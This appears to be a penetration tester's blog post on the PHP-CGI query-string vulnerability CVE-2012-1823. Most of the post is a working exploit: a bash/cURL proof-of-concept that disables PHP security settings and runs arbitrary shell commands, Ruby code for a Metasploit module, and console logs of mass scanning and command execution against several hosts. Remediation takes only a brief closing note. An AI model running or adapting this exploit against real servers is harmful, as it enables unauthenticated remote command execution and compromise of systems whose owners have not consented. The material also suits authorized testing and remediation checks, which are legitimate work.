During a recent penetration test, our team found a few web servers that were vulnerable to a PHP-CGI query string parameter vulnerability (CVE-2012-1823).
This vulnerability allows an attacker to execute commands without authentication, under the privileges of the web server. The target environment had very strong egress controls in place. All outbound ports were blocked and only ports 80 and 443 were allowed inbound. This made it difficult to obtain an interactive shell. Therefore, we decided to build a proof of concept exploit script using cURL to execute commands and then take it to the next level by authoring a new Metasploit Module.
Download phpcgi_exec.zip
Proof of concept exploit script
#!/bin/bash# Semi-interactive shell over PHP-CGI POST requests.
if [ -z "$1" ] ;thenecho "USAGE: $0 [ip] [command]"exitficurl -i -s -k -X 'POST'-H 'User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)'--data-binary "<?php system("$2""); die; ?>""""http://$1/cgi-bin/php5?%2dd+allow_url_include%3don+%2dd+safe_mode%3doff+%2dd+suhosin%2esimulation%3don+%2dd+disable_functions%3d%22%22+%2dd+open_basedir%3dnone+%2dd+auto_prepend_file%3dphp%3a%2f%2finput+%2dd+cgi%2eforce_redirect%3d0+%2dd+cgi%2eredirect_status_env%3d0+%2dn""
OS Command Output
$ bash poc.sh 10.0.0.77 idHTTP/1.1 200 OKDate: Thu, 03 Jul 2014 03:26:52 GMTServer: Apache/2.2.8 (Ubuntu) DAV/2X-Powered-By: PHP/5.2.4-2ubuntu5.10Content-Length: 54Content-Type: text/htmluid=33(www-data) gid=33(www-data) groups=33(www-data)
$ bash poc.sh 10.0.0.77 'uname -r'HTTP/1.1 200 OKDate: Thu, 03 Jul 2014 03:26:59 GMTServer: Apache/2.2.8 (Ubuntu) DAV/2X-Powered-By: PHP/5.2.4-2ubuntu5.10Content-Length: 89Content-Type: text/html2.6.24-16-server
At its core, the script passes the necessary information and command(s) via cURL to the vulnerable web server. OS command output is returned in the HTTP response body as shown in the figures above.
Creating the Metasploit Module
To better understand the Metasploit module code, let’s revisit and explore the key components of the PoC script first. The exploit initially passes several arguments to the PHP interpreter in order to disable many of the available security features. Specifically, the script passes the following arguments to the target PHP interpreter:
Using PHP command line options in the query string
-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 –n
More on PHP: The “-d” option allows an attacker to manipulate security settings. You can learn more about these specific PHP INI directives by visiting: http://php.net/manual/en/ini.list.php
These arguments are passed as GET parameters within the URI (example: /#{vulnerable_uri}?#{phpoptions}
). We need to perform URL encoding so the values are properly passed to the web server. We start by performing some basic search/replace substitutions within the initial string.
Convert to URL encoding
phpcmd = '-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -n'phpcmd.gsub!(' ','+')phpcmd.gsub!('=','%3d')phpcmd.gsub!('/','%2f')phpcmd.gsub!('.','%2e')phpcmd.gsub!('"','%22')phpcmd.gsub!('-','%2d')phpcmd.gsub!(':','%3a')
The variable phpcmd
now consists of the following string:
URL encoding applied
%2dd+allow_url_include%3don+%2dd+safe_mode%3doff+%2dd+suhosin%2esimulation%3don+%2dd+disable_functions%3d%22%22+%2dd+open_basedir%3dnone+%2dd+auto_prepend_file%3dphp%3a%2f%2finput+%2dd+cgi%2eforce_redirect%3d0+%2dd+cgi%2eredirect_status_env%3d0+%2dn
Next, we need to specify the actual OS command we want to instruct the web server to run. This will be passed in the POST body.
OS command output
phpdata = ""
The datastore[‘CMD’]
variable will contain the OS command the user specifies to execute on vulnerable web servers. We are now ready to execute the request and print out the response.
Execute request and print response
res = send_request_cgi({'uri' => "#{uri}?#{phpcmd}",'method' => 'POST','data' => phpdata,}, 5)cmd_output = res.bodyif res and res.code == 200 and res.bodyprint_good(res.body)end
Our module is now complete. We are able to execute OS commands on multiple vulnerable web servers. Below is an example of enumerating systems affected by the vulnerability and execution of two commands (id
and uname -r
). The module returns the output of the OS commands in the HTTP response.
First, we use db_nmap
to enumerate systems with port 80 open.
Enumerate systems with port 80 open
msf > db_nmap 10.0.0.70-80 -p 80[*] Nmap: Starting Nmap 6.41SVN ( http://nmap.org ) at 2014-08-12 15:58 EDT[*] Nmap: Nmap scan report for 10.0.0.74[*] Nmap: Host is up (0.0010s latency).[*] Nmap: PORT STATE SERVICE[*] Nmap: 80/tcp open HTTP[*] Nmap: Nmap scan report for 10.0.0.75[*] Nmap: Host is up (0.00095s latency).[*] Nmap: PORT STATE SERVICE[*] Nmap: 80/tcp open HTTP[*] Nmap: Nmap scan report for 10.0.0.76[*] Nmap: Host is up (0.00089s latency).[*] Nmap: PORT STATE SERVICE[*] Nmap: 80/tcp open HTTP[*] Nmap: Nmap scan report for 10.0.0.77[*] Nmap: Host is up (0.00084s latency).[*] Nmap: PORT STATE SERVICE[*] Nmap: 80/tcp open HTTP[*] Nmap: Nmap done: 11 IP addresses (4 hosts up) scanned in 1.25 seconds
The results of the nmap scan are stored in the Metasploit DB. The next step is to load our module and review the default configuration options.
Default configuration options
msf > use auxiliary/scanner/http/phpcgi_execmsf auxiliary(phpcgi_exec) > show optionsModule options (auxiliary/scanner/http/phpcgi_exec):Name Current Setting Required Description==== =============== ======== ===========CMD id yes The command to execute.Proxies no Use a proxy chainRHOSTS yes The target address range or CIDR identifierRPORT 80 yes The target portSSL false yes Use SSLTARGETURI /cgi-bin/php5 yes The URL of the php-cgi interface.THREADS 1 yes The number of concurrent threadsVHOST no HTTP server virtual host
We can query the Metasploit DB (services -p 80 -u -R) in order to set the RHOSTS variable to all servers with port 80 open.
Setting RHOSTS variable
msf auxiliary(phpcgi_exec) > services -p 80 -u -RServices========host port proto name state info–––– –––– ––––– –––– ––––– ––––10.0.0.74 80 tcp http open10.0.0.75 80 tcp http open10.0.0.76 80 tcp http open10.0.0.77 80 tcp http openRHOSTS => 10.0.0.74 10.0.0.75 10.0.0.76 10.0.0.77
We are now ready to run the module
[*] Verifying the phpcgi interface exists at http://10.0.0.74:80//cgi-bin/php5[*] 10.0.0.74:80 - Sending request…[+] http://10.0.0.74:80//cgi-bin/php5 - phpcgi - uid=33(www-data) gid=33(www-data) groups=33(www-data)[*] Scanned 1 of 4 hosts (025% complete)[*] Verifying the phpcgi interface exists at http://10.0.0.75:80//cgi-bin/php5[*] 10.0.0.75:80 - Sending request…[+] http://10.0.0.75:80//cgi-bin/php5 - phpcgi - uid=33(www-data) gid=33(www-data) groups=33(www-data)[*] Scanned 2 of 4 hosts (050% complete)[*] Verifying the phpcgi interface exists at http://10.0.0.76:80//cgi-bin/php5[*] 10.0.0.76:80 - Sending request…[+] http://10.0.0.76:80//cgi-bin/php5 - phpcgi - uid=33(www-data) gid=33(www-data) groups=33(www-data)[*] Scanned 3 of 4 hosts (075% complete)[*] Verifying the phpcgi interface exists at http://10.0.0.77:80//cgi-bin/php5[*] 10.0.0.77:80 - Sending request…[+] http://10.0.0.77:80//cgi-bin/php5 - phpcgi - uid=33(www-data) gid=33(www-data) groups=33(www-data)[*] Scanned 4 of 4 hosts (100% complete)[*] Auxiliary module execution completed
We can specify a different OS command and run the module again.
msf auxiliary(phpcgi_exec) > set CMD uname -rCMD => uname -rmsf auxiliary(phpcgi_exec) > run[*] Verifying the phpcgi interface exists at http://10.0.0.74:80//cgi-bin/php5[*] 10.0.0.74:80 - Sending request…[+] http://10.0.0.74:80//cgi-bin/php5 - phpcgi - 2.6.24-16-server[*] Scanned 1 of 4 hosts (025% complete)[*] Verifying the phpcgi interface exists at http://10.0.0.75:80//cgi-bin/php5[*] 10.0.0.75:80 - Sending request…[+] http://10.0.0.75:80//cgi-bin/php5 - phpcgi - 2.6.24-16-server[*] Scanned 2 of 4 hosts (050% complete)[*] Verifying the phpcgi interface exists at http://10.0.0.76:80//cgi-bin/php5[*] 10.0.0.76:80 - Sending request…[+] http://10.0.0.76:80//cgi-bin/php5 - phpcgi - 2.6.24-16-server[*] Scanned 3 of 4 hosts (075% complete)[*] Verifying the phpcgi interface exists at http://10.0.0.77:80//cgi-bin/php5[*] 10.0.0.77:80 - Sending request…[+] http://10.0.0.77:80//cgi-bin/php5 - phpcgi - 2.6.24-16-server[*] Scanned 4 of 4 hosts (100% complete)[*] Auxiliary module execution completed
The PHP-CGI vulnerability has been public for several years now, but we’re still finding evidence of it on live production servers. Remediation and mitigation options are quite basic: 1) patch, 2) disable use of CGI mode for PHP, or 3) implement a WAF. This module can also be used to determine whether any vulnerable instances exist in your environment and to verify remediation.
Hack all the things!